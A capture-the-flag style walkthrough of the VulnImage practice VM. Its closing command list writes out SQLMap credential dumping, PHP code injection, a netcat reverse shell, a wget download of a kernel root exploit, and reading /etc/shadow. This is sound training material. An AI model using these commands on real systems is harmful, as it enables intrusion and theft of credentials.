Watch video on-line: http://blip.tv/g0tmi1k/vulnimage-automated-5823019
Download video: http://mediafire.com/?ul63qrct6rzyua8
Brief OverviewVulnImage is an obscure (I can't even find a 'homepage' as such, for it!) "boot-to-root" operating system which has purposely crafted weakness(es) inside itself. The user's end goal is to interact with it and get the highest user privilege they can.
The 'automated' tag is because of the combination of Burp Proxy & SQLMap to discover the SQL injection vulnerability with very limited user interaction as well as using a kernel exploit to escalate privileges to gain root access. A more advanced method can be found here.
- Scanned network for the target [NetDiscover]
- Port scanned the target [UnicornScan]
- Banner grabbed the services running on the open port(s) [NMap]
- Interacted & intercepted with the web server [Firefox & Burp Proxy]
- Discovered an SQL injection vulnerably [SQLMap]
- Manipulate the blog to upload an encoded backdoor [Pentestmonkey's Php-Reverse-Shell & Metasploit]
- Escalated privileges via a vulnerable kernel version [udp_sendmsg]
- Accessed the 'flag' [Phrack]
What do I need?
- vulnimage.zip (MD5: 8CB0E628AEB3C7E1F771764D07280655).
- A virtual machine (Example: VMware Player or Virtual Box).
- NetDiscover – (Can be found in BackTrack 5).
- UnicornScan – (Can be found in BackTrack 5's repository).
- NMap – (Can be found in BackTrack 5).
- Firefox – (Can be found in BackTrack 5).
- Burp Proxy – (Can be found in BackTrack 5).
- SQLMap – (Can be found in BackTrack 5).
- Msfvenom – (Part of Metasploit & Can be found in BackTrack 5).
- php-reverse-shell – (Can be found in BackTrack 5).
- NetCat – (Can be found in BackTrack 5).
- udp_sendmsg – (Found on exploit-db.com & Can be found in BackTrack 5).
WalkthroughThe first stage is to locate the target, which the attacker does by using "NetDiscover" as this quickly lists all IP's, Media Access Control (MAC) addresses and any known vendors that relate to the MAC address in any subnet. The attacker knows that the target is using VMware, as there aren’t any other virtual machines in use and the target hasn't spoofed their MAC address, therefore, the target is successfully identified.
As the attacker can now isolate the target on the network, the attacker proceeds by port scanning the target as this allows the attacker to see if there are any services which are listening on the exposed interface. The attacker chooses to use "UnicornScan" as it is accurate & efficient whilst scanning at speed. The result being it discovers 7 open TCP ports; 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS), 445 (SAMBA), 3306 (MySQL) and 7777 (CBT). There is only 1 UDP port, 137 (NETBIOS). The attacker then chooses to verify the TCP results by using "nmap" to do another port scan. At the same time, the attacker takes advantage of some other features built into nmap, such as its scripting engine. This enumerates the open port's protocols and services which have been detected, as well as banner grabbing. The attack chooses to interact with the web service which is running on the default TCP port 80. The justification for this is because it is a very graphical, friendly and common way in, allowing the end user to interact. As a result there could be lots of information which could be enumerated as well as very poorly written code which could be taken advantage of.
The web service responds normally when the attacker interacts with it using a web browser, "firefox", however the attacker then takes it one stage further by capturing any requests which are made to it using "burp proxy".
Attacker (Firefox) <---> Target (Web server)
Attacker (Firefox) <---> Burp Proxy <---> Target (Web server)By using burp proxy, the attacker is able to monitor every aspect of what is being requested and then how the web server responds. The attacker then just interacts normally with the target by viewing pages. The attacker soon sees the web service is running a blog, and notes the username (blogger) from which two posts have been made. After freely clicking a few links, the attacker sees that anyone can view the page which can make new blog posts, however there is a username & password field which the attacker doesn't have credentials for along with a page to update their profile. The attacker doesn't know any credentials and therefore fills in random junk data into the fields before submitting. This is done for burps benefit as it will capture the requests thus knowing data can be entered on this page. The attacker is presented with a message saying the username and or password is wrong. At this point the attack restores proxy settings as firefox is not needed any longer.
When the attacker was interacting the with the web application, they made a request with data that they entered. The data which was filled in was checked against a form of database to see if there was an entry that matched. By using "SQLMap" allows the attacker to manipulate the database in ways the original request wasn't meant for (providing that the field hasn't been 'correctly' filtered). SQLMap allows for multiple database formats, using different injection techniques and inbuilt enumeration to be tested without any user interaction. The attacker simply uses the log file which was created from burp and requests what information is to be enumerated. The attacker soon discovers the web service which is being used, as well as the operating system, the database and user which is connected to it, and, if that user is database administrator. The attacker then 'dumps' all the username and passwords for the database - these could be cracked to see if any credentials were re-used. The attacker checks to see if any users to the database and the operating system match. The attacker moves on by viewing the database structure as well as the contents. Upon inspection they enumerated three databases along with the column names, types and number of entries. The last stage for the attacker was to view the contents of the blog's credentials. As the attacker has successfully managed to enumerate the whole database, the attacker was able to very easily locate the credentials, and soon discover that they are stored in 'plain text'.
Another feature of burp is its 'repeater', which allows for data to be easily viewed, edited and sent multiple times. The attacker locates the request which was made at the beginning with junk data and passes it to the repeater and updates the respectable fields with the newly acquired credentials. The attacker notices another field, which, when they made the 'normal' request with the junk data, they didn't have 'control' over. This 'hidden' field looks like it as a file extension that is commonly used for text files. Before the attacker makes the new request, they add an additional forward slash which is used to signal the use of folders instead of files in a Linux environment (which the attacker managed to identify when they used SQLMap). At the end of the response of the web application, is an error message informing the end user that it isn't able to access the file or folder (this is due to the modified request), along with detailed paths such as the file which failed to access the location as well as the location which failed! The attacker copies the failed location and amends the path, to view the content which should have been requested. Upon viewing it, the attacker sees that this is the location of the signature for the user (text which is always included when the user makes a post). This wasn't stored in the database, but in a file instead, which means to allow users to update their signatures this folder has to be writeable. The attacker goes back to the repeater, and tries to use a single PHP coded line in the signature to see if they are able to execute PHP functions on the server itself. Before they made the request, they fix the hidden field to be correct, as well as update the file format to indicate that it’s a PHP file and not a text document. The result is that the attacker was able to view their simple processed test message, not the code itself, which means the attacker, is able to write PHP functions and the target executes it.
Pentest monkey has created "php-reverse-shell" which allows for an interactive shell to spawn by using PHP. The attacker makes a copy of it, making sure the original version isn't edited. Due to the nature of the shell, its reversed, which means communication comes back to the attacker, thus the shell needs to be able to locate the attacker. The attacker then specifies their IP address and a port of their choosing. After updating the shell, the attacker encodes it using "msfvenom" to 'base64'. The reasoning for this is because we do not wish for the content of the shell to be interpreted by the blogging software's update profile feature, as there is a chance the contents of the shell could be interrupted before it's all submitted. Editor's note: There are other reasons for encoding it, but I'm not discussing them now.
Before the attacker views the new signature, which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses "netcat" to be the handler as it is a 'swiss army knife', and is able to understand the raw data being sent from the target to it. The attacker has netcat listening on the same port as used in the shell, and then requests the php shell signature to be displayed. The target then executes the PHP commands, which decodes the base64 shell, and then processes the contents causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using a interactive shell.
The attacker quickly checks to see which user they are currently logged in as. This will be the same as the web service as that was the process to execute the shell connection. The attacker now tries to escape privileges to gain a higher level of access to the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and searches their local copy of a public exploit database ("exploit-db.com"). Upon searching for the exact same kernel version, it only returns one known exploit (which was un-successful). The attacker carries on by searching for the same "major.intermediate" versions (removed ".minor"), and sorts them in ascending order. This returns results for kernel versions that are higher and lower than the target version as well as "generic" ones. The justification for this is due to how the exploits are labelled. In the name of the exploit the vulnerable version could be for a certain version AND lower versions. Therefore as the searched string wouldn't match and it wouldn't be displayed in the results yet it could work. After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read by anyone by giving it the certainly permissions as the web server uses a different user than the one which the attacker is currently logged in as and executing commands as. The last stage is to start the web service.
Using the target, the attacker locates a folder which they have the permission to write and execute files from. After locating such a path, the attacker then controls the target to download the exploit package from the attacker and extract it. The included bash script does all the necessary commands and the end result is that the attacker has now gotten root access to the machine.
Upon exploring the file structure, in the home folder for the user "testuser" there is a folder called "stuff" which is only accessible to the superuser, root. Inside the folder, is a compressed archive of what appears to be the digital magazine, phrack. After it has been extracted and checking on the website the file was confirmed to be volume 67.
netdiscover -r 192.168.0.1/24 us -H -msf -Iv 192.168.0.110 -p 1-65535 && us -H -mU -Iv 192.168.0.110 -p 1-65535 nmap -p 1-65535 -T4 -A -v 192.168.0.110 # -p 22,25,80,139,445,3306,7777 firefox -> 192.168.0.110 BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Proxies -> burpsuite // Burp -> Proxy -> Intercept -> Off. Proxy -> Options -> Port: 8080. Options -> Misc -> Proxy -> Requests (Enable) -> /root/burp.log. Target. // Firefox -> Edit -> Preferences -> Advance -> Network -> Settings -> Manual proxy configurations -> 127.0.0.1:8080. blog (/myblog/) [username: blogger] -> Post new entry! (/admin/post.php) -> test // test // test cd /pentest/database/sqlmap/ ./sqlmap.py -l /root/burp.log --banner --current-user --current-db --is-dba ./sqlmap.py -l /root/burp.log --passwords ./sqlmap.py -l /root/burp.log --batch --file-read=/etc/passwd cat /pentest/database/sqlmap/output/192.168.0.110/files/_etc_passwd ./sqlmap.py -l /root/burp.log --batch --dbs ./sqlmap.py -l /root/burp.log --batch --tables ./sqlmap.py -l /root/burp.log --batch --columns --count -D blogdb ./sqlmap.py -l /root/burp.log --batch --dump -D blogdb // Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: test frame: /sig.txt // firefox -> 192.168.0.110/profiles/blogger-sig.txt // Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: <?php echo "test test 123"; ?> frame: sig.php // firefox -> 192.168.0.110/profiles/blogger-sig.php cp /pentest/backdoors/web/webshells/php-resever-shell.php /tmp/shell.php cd /tmp nano shell.php # remove "<?" and "?>". Edit IP address and port [ifconfig eth0] msfvenom -p generic/custom -e php/base64 -f raw PAYLOADFILE=shell.php nc -lvvp 443 // Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: <?php [msf output] ?> // firefox -> 192.168.0.110/profiles/blogger-sig.php # Burp -> file -> exit. # Firefox -> edit -> Preferences -> Advance -> Network -> Settings -> use system proxy settings id uname -a cd /pentest/exploits/exploitdb cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8 cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 cat platforms/linux/local/9574.txt wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz chmod 755 /var/www/exploit.tgz /etc/init.d/apache2 start cd /tmp wget 192.168.0.162/exploit.tgz tar zxvf exploit.tgz cd therebel ls -lAh bash therebel.sh id /sbin/ifconfig eth0 && uname -a && cat /etc/shadow && ls -lAh /root cd /home alias ls="ls -lAh" ls cd testuser ls cd stuff ls tar zxvf phrack67.tar.gz ls 67
- When starting the VM for the first time with VMware, select "I Moved It" - otherwise it could cause issues (e.g. the target will not be visible!).
- Some mistakes in the video are more obvious.
- Instead of using "php-reverse-shell" & "netcat", "PHP Meterpreter" & "Metasploit" could of been used.
Video length: 09:24
Capture length: 35:02
Blog Post: http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html
Forum Post: http://www.backtrack-linux.org/forums/showthread.php?t=47185&p=211917#post211917